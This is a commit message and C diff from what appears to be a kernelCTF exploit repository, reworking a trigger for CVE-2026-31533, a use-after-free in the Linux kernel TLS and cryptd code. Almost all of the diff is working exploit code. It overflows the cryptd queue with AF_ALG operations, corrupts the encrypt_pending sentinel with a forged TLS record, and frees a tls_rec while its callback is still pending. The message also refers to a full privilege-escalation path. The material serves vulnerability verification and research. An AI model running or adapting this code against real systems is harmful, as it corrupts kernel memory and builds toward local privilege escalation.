CVE-2026-31533: make --vuln-trigger reliably reproduce under KASAN

The previous --vuln-trigger used the full exploit's heavy saturation (3000
threads / 4000 fds) and setrlimit(0x8000), which fails under the vuln-verify
environment (unprivileged fd limit ~1024, KASAN ~3-5x slower) -- it never
landed -EBUSY, so no KASAN report and vuln_verify returned UNKNOWN.

Rework the trigger to fit that environment: raise RLIMIT_NOFILE to the hard
limit, use a lean op-fd pool (~1008) for a finite AF_ALG MAY_BACKLOG burst that
momentarily overflows the per-CPU cryptd queue (cryptd_max_cpu_qlen=1000), push
a pending TLS record with sk_err set to corrupt the encrypt_pending sentinel,
then submit one more async encrypt so the tls_rec is freed while a cryptd
callback is still pending. With no heap spray the freed record's scatterlist is
walked by __sk_msg_free()/bpf_exec_tx_verdict(), producing a KASAN report on
the unpatched kernel (locally reproduced on a KASAN 6.12.77 build); the patch
skips the double cleanup so it stays silent. Counts are overridable via
VT_N / VT_DELAY / VT_RETRY. The normal (flag-capturing) exploit path is
unchanged.

Author: d4em0n

pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/cos-121-18867.381.30/exploit

@@ -401,130 +401,183 @@ size_t bypass_kaslr(void)
 	}
 }
 
+static int vt_env(const char *k, int d) { const char *v = getenv(k); return v ? atoi(v) : d; }
+
+/* Arm one AF_ALG op fd with a pending encrypt (one cryptd request). Large data
+ * keeps the op in flight long enough for the burst to overflow the queue. */
+static void vt_arm(int op_fd)
+{
+	char cbuf[CMSG_SPACE(4) + CMSG_SPACE(20)];
+	memset(cbuf, 0, sizeof(cbuf));
+	struct msghdr msg = {};
+	msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf);
+	struct iovec iov = { g_buf, 0x10000 };
+	msg.msg_iov = &iov; msg.msg_iovlen = 1;
+	struct cmsghdr *cm = CMSG_FIRSTHDR(&msg);
+	cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_OP;
+	cm->cmsg_len = CMSG_LEN(4);
+	*(uint32_t *)CMSG_DATA(cm) = ALG_OP_ENCRYPT;
+	cm = CMSG_NXTHDR(&msg, cm);
+	cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_IV;
+	cm->cmsg_len = CMSG_LEN(20);
+	((struct af_alg_iv *)CMSG_DATA(cm))->ivlen = 8;
+	sendmsg(op_fd, &msg, 0);
+}
+
+static int vt_make_tls(int *client_out, int *server_out)
+{
+	int serv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+	int flag = 1;
+	setsockopt(serv, SOL_SOCKET, SO_REUSEADDR, &flag, sizeof(flag));
+	struct sockaddr_in addr = {};
+	addr.sin_family = AF_INET;
+	addr.sin_addr.s_addr = inet_addr("127.0.0.1");
+	addr.sin_port = htons(SERVER_PORT);
+	if (bind(serv, (struct sockaddr *)&addr, sizeof(addr)) < 0) { close(serv); return -1; }
+	listen(serv, 1);
+	int client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+	if (connect(client, (struct sockaddr *)&addr, sizeof(addr)) < 0) { close(serv); close(client); return -1; }
+	socklen_t sz = sizeof(addr);
+	int server = accept(serv, (struct sockaddr *)&addr, &sz);
+	close(serv);
+	setsockopt(client, SOL_TCP, TCP_ULP, "tls", sizeof("tls"));
+	struct tls12_crypto_info_aes_ccm_128 info;
+	memset(&info, 0, sizeof(info));
+	info.info.version = TLS_1_2_VERSION;
+	info.info.cipher_type = TLS_CIPHER_AES_CCM_128;
+	setsockopt(client, SOL_TLS, TLS_TX, &info, sizeof(info));
+	setsockopt(client, SOL_TLS, TLS_RX, &info, sizeof(info));
+	*client_out = client; *server_out = server;
+	return 0;
+}
+
 /* ========================================================================
  * --vuln-trigger: reach the use-after-free on a KASAN build, without KASLR,
- * ROP or the heap spray. Corrupt the encrypt_pending sentinel, then free the
- * tls_rec while a cryptd callback is still pending; the callback fires on the
- * freed record and KASAN reports the UAF. On a patched kernel this is benign.
+ * ROP or the heap spray.
+ *
+ * A finite burst of AF_ALG (MAY_BACKLOG) crypto ops momentarily overflows the
+ * per-CPU cryptd queue (cap = cryptd_max_cpu_qlen = 1000). With a pending TLS
+ * record and sk_err set, the cmsg push then hits crypto_aead_encrypt() ==
+ * -EBUSY, the async callback observes sk_err and double-decrements the
+ * encrypt_pending sentinel; freeing the tls_rec while a callback is still
+ * pending yields the UAF that KASAN reports. Because the burst is finite, the
+ * queue drains afterwards so the backlogged op completes (no permanent hang).
+ * Tunables: VT_N (op fds), VT_DELAY (us after io_submit), VT_RETRY.
  * ======================================================================== */
 static void vuln_trigger(void)
 {
-	struct rlimit rlim = { .rlim_cur = 0x8000, .rlim_max = 0x8000 };
-	setrlimit(RLIMIT_NOFILE, &rlim);
+	struct rlimit rl;
+	getrlimit(RLIMIT_NOFILE, &rl);
+	rl.rlim_cur = rl.rlim_max;       /* raise soft to hard (no privilege needed) */
+	setrlimit(RLIMIT_NOFILE, &rl);
+
+	int budget = (int)rl.rlim_cur - 16;
+	int N      = vt_env("VT_N", budget > 1010 ? 1010 : budget);
+	int delay  = vt_env("VT_DELAY", 40000);
+	int retry  = vt_env("VT_RETRY", 40);
+
 	pin_cpu(0);
 	force_cryptd();
 	cmsg_init();
-	pthread_barrier_init(&g_barrier, NULL, THREAD_COUNT + 1);
-	printf("=== CVE-2026-31533 --vuln-trigger (KASAN) ===\n");
-
-	/* TCP pair + kernel TLS */
-	int client, server;
-	{
-		int serv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
-		int flag = 1;
-		setsockopt(serv, SOL_SOCKET, SO_REUSEADDR, &flag, sizeof(flag));
-		struct sockaddr_in addr = {
-			.sin_family = AF_INET,
-			.sin_addr.s_addr = inet_addr("127.0.0.1"),
-			.sin_port = htons(SERVER_PORT),
-		};
-		bind(serv, (struct sockaddr *)&addr, sizeof(addr));
-		listen(serv, 1);
-		client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
-		connect(client, (struct sockaddr *)&addr, sizeof(addr));
-		socklen_t sz = sizeof(addr);
-		server = accept(serv, (struct sockaddr *)&addr, &sz);
-		close(serv);
-		setsockopt(client, SOL_TCP, TCP_ULP, "tls", sizeof("tls"));
-		struct tls12_crypto_info_aes_ccm_128 info;
-		memset(&info, 0, sizeof(info));
-		info.info.version = TLS_1_2_VERSION;
-		info.info.cipher_type = TLS_CIPHER_AES_CCM_128;
-		setsockopt(client, SOL_TLS, TLS_TX, &info, sizeof(info));
-		setsockopt(client, SOL_TLS, TLS_RX, &info, sizeof(info));
+	printf("=== CVE-2026-31533 --vuln-trigger (KASAN) N=%d delay=%dus retry=%d nofile=%lu ===\n",
+			N, delay, retry, (unsigned long)rl.rlim_cur);
+
+	struct sockaddr_alg sa = {};
+	sa.salg_family = AF_ALG;
+	strcpy((char *)sa.salg_type, "skcipher");
+	strcpy((char *)sa.salg_name, "cryptd(rfc3686(ctr(aes-generic)))");
+	int *op = calloc(N, sizeof(int));
+	int made = 0;
+	for (int i = 0; i < N; i++) {
+		int a = socket(AF_ALG, SOCK_SEQPACKET, 0);
+		if (a < 0) break;
+		if (bind(a, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(a); break; }
+		setsockopt(a, SOL_ALG, ALG_SET_KEY, g_buf, 20);
+		op[i] = accept(a, NULL, 0);
+		close(a);
+		if (op[i] < 0) break;
+		made = i + 1;
 	}
-
-	/* AF_ALG op sockets + AIO + worker flood to saturate the cryptd queue */
-	int *op_fds = calloc(TOTAL_ALG, sizeof(int));
-	pthread_t *tids = calloc(THREAD_COUNT, sizeof(pthread_t));
-	struct drain_arg *dargs = calloc(THREAD_COUNT, sizeof(struct drain_arg));
-	{
-		struct sockaddr_alg sa = {
-			.salg_family = AF_ALG, .salg_type = "skcipher",
-			.salg_name = "cryptd(rfc3686(ctr(aes-generic)))"
-		};
-		char cbuf[CMSG_SPACE(4) + CMSG_SPACE(20)];
-		memset(cbuf, 0, sizeof(cbuf));
-		struct msghdr msg = { .msg_control = cbuf, .msg_controllen = sizeof(cbuf) };
-		struct iovec iov = { .iov_base = g_buf, .iov_len = 0x10000 };
-		msg.msg_iov = &iov; msg.msg_iovlen = 1;
-		struct cmsghdr *cm = CMSG_FIRSTHDR(&msg);
-		cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_OP;
-		cm->cmsg_len = CMSG_LEN(4);
-		*(uint32_t *)CMSG_DATA(cm) = ALG_OP_ENCRYPT;
-		cm = CMSG_NXTHDR(&msg, cm);
-		cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_IV;
-		cm->cmsg_len = CMSG_LEN(20);
-		((struct af_alg_iv *)CMSG_DATA(cm))->ivlen = 8;
-		for (int i = 0; i < TOTAL_ALG; i++) {
-			int af = socket(AF_ALG, SOCK_SEQPACKET, 0);
-			bind(af, (struct sockaddr *)&sa, sizeof(sa));
-			setsockopt(af, SOL_ALG, ALG_SET_KEY, g_buf, 20);
-			op_fds[i] = accept(af, NULL, 0);
-			sendmsg(op_fds[i], &msg, 0);
-			close(af);
+	printf("[*] %d cryptd op fds (queue cap ~1000)\n", made);
+
+	io_context_t ctx;
+	memset(&ctx, 0, sizeof(ctx));
+	io_setup(made + 8, &ctx);
+	struct iocb *cb = calloc(made + 2, sizeof(*cb));
+	struct iocb **pp = calloc(made + 2, sizeof(*pp));
+
+	for (int attempt = 1; attempt <= retry; attempt++) {
+		/* arm every op fd + prep one AIO read each */
+		for (int i = 0; i < made; i++) {
+			vt_arm(op[i]);
+			pp[i] = &cb[i];
+			io_prep_pread(&cb[i], op[i], g_buf, 1, 0);
 		}
-	}
-	io_context_t aio_ctx;
-	memset(&aio_ctx, 0, sizeof(aio_ctx));
-	io_setup(AIO_COUNT + 4, &aio_ctx);
-	struct iocb *iocbs = calloc(AIO_COUNT, sizeof(struct iocb));
-	struct iocb **ptrs = calloc(AIO_COUNT, sizeof(struct iocb *));
-	for (int i = 0; i < AIO_COUNT; i++) {
-		ptrs[i] = &iocbs[i];
-		io_prep_pread(&iocbs[i], op_fds[i], g_buf, 1, 0);
-	}
-	for (int i = 0; i < THREAD_COUNT; i++) {
-		dargs[i].op_fd = op_fds[AIO_COUNT + i];
-		dargs[i].barrier = &g_barrier;
-		pthread_create(&tids[i], NULL, drain_thread, &dargs[i]);
-	}
 
-	/* Pending record + sk_err (peer sends bad ciphertext, we recv it) */
-	send(client, g_buf, 0x7000-29, 0);
-	send(client, g_buf, 0xfd3, MSG_MORE);
-	{
+		int client, server;
+		if (vt_make_tls(&client, &server) < 0) { usleep(50000); continue; }
+
+		/* craft the scatterlist layout + a pending record, set sk_err */
+		send(client, g_buf, 0x7000 - 29, 0);
+		send(client, g_buf, 0xfd3, MSG_MORE);
 		unsigned char fake[5 + 64];
-		fake[0] = 0x17; fake[1] = 0x03; fake[2] = 0x03;
-		fake[3] = 0x00; fake[4] = 64;
+		fake[0] = 0x17; fake[1] = 0x03; fake[2] = 0x03; fake[3] = 0x00; fake[4] = 64;
 		memset(fake + 5, 0xCC, 64);
 		send(server, fake, sizeof(fake), 0);
 		usleep(10000);
-		char rxbuf[256];
-		recv(client, rxbuf, sizeof(rxbuf), MSG_DONTWAIT);
-	}
+		char rx[256];
+		recv(client, rx, sizeof(rx), MSG_DONTWAIT);
+
+		/* burst-fill the per-CPU cryptd queue, then push the pending record */
+		io_submit(ctx, made, pp);
+		usleep(delay);
+		int ret = tls_push_via_cmsg(client);
+		if (attempt <= 3 || ret < 0)
+			printf("[*] attempt %d/%d: cmsg push = %d (%s)\n",
+					attempt, retry, ret, ret < 0 ? strerror(-ret) : "ok");
+
+		if (ret < 0 && -ret != EAGAIN && -ret != EINPROGRESS) {
+			printf("[+] sentinel corrupted (err %d); triggering dangling callback (UAF)...\n", -ret);
+			int se = 0; socklen_t sl = sizeof(se);
+			getsockopt(client, SOL_SOCKET, SO_ERROR, &se, &sl);   /* clear sk_err */
+
+			/* Phase 2: with encrypt_pending == 0, tls_encrypt_async_wait no
+			 * longer waits. Re-saturate the cryptd queue and submit one more
+			 * async TLS encrypt: the record is freed (bpf_exec_tx_verdict ->
+			 * tls_free_open_rec) while its cryptd callback is still pending.
+			 * No heap spray here, so the callback fires on the KASAN-poisoned
+			 * freed tls_rec -> use-after-free report. */
+			for (int i = 0; i < made; i++) {
+				vt_arm(op[i]);
+				io_prep_pread(&cb[i], op[i], g_buf, 1, 0);
+				pp[i] = &cb[i];
+			}
+			io_prep_pwrite(&cb[made], client, g_buf, 64, 0);   /* async TLS encrypt */
+			pp[made] = &cb[made];
+			io_submit(ctx, made + 1, pp);
+			sleep(3);    /* let the dangling cryptd callback fire on freed memory */
+			close(client);
+			close(server);
+			sleep(2);
+			printf("[*] vuln-trigger done\n");
+			return;
+		}
 
-	/* Race: saturate the queue + cmsg push -> double-decrement -> sentinel=0 */
-	sleep(1);
-	io_submit(aio_ctx, AIO_COUNT, ptrs);
-	pthread_barrier_wait(&g_barrier);
-	int ret = tls_push_via_cmsg(client);
-	printf("[*] cmsg push = %d (%s)\n", ret, ret < 0 ? strerror(-ret) : "ok");
-	if (ret >= 0 || -ret == EAGAIN || -ret == EINPROGRESS) {
-		printf("[-] race lost; re-run --vuln-trigger\n");
-		return;
+		/* drain the burst so backlogged ops complete before we close/retry
+		 * (otherwise tls_sk_proto_close would block in tls_encrypt_async_wait) */
+		struct io_event ev[256];
+		struct timespec ts = { 3, 0 };
+		int got = 0;
+		while (got < made) {
+			int n = io_getevents(ctx, 1, 256, ev, &ts);
+			if (n <= 0) break;
+			got += n;
+		}
+		close(client);
+		close(server);
 	}
-	printf("[+] sentinel corrupted; freeing tls_rec with pending callback (UAF)...\n");
-
-	/* Clear sk_err, then free the record while a callback is still pending. */
-	int so_err = 0; socklen_t sl = sizeof(so_err);
-	getsockopt(client, SOL_SOCKET, SO_ERROR, &so_err, &sl);
-	close(client);
-	close(server);
-	sleep(3);
-	printf("[*] vuln-trigger done\n");
+	printf("[-] no -EBUSY after %d attempts; re-run --vuln-trigger\n", retry);
 }
-
 /* ───────────────── Main ───────────────── */
 
 int main(int argc, char **argv)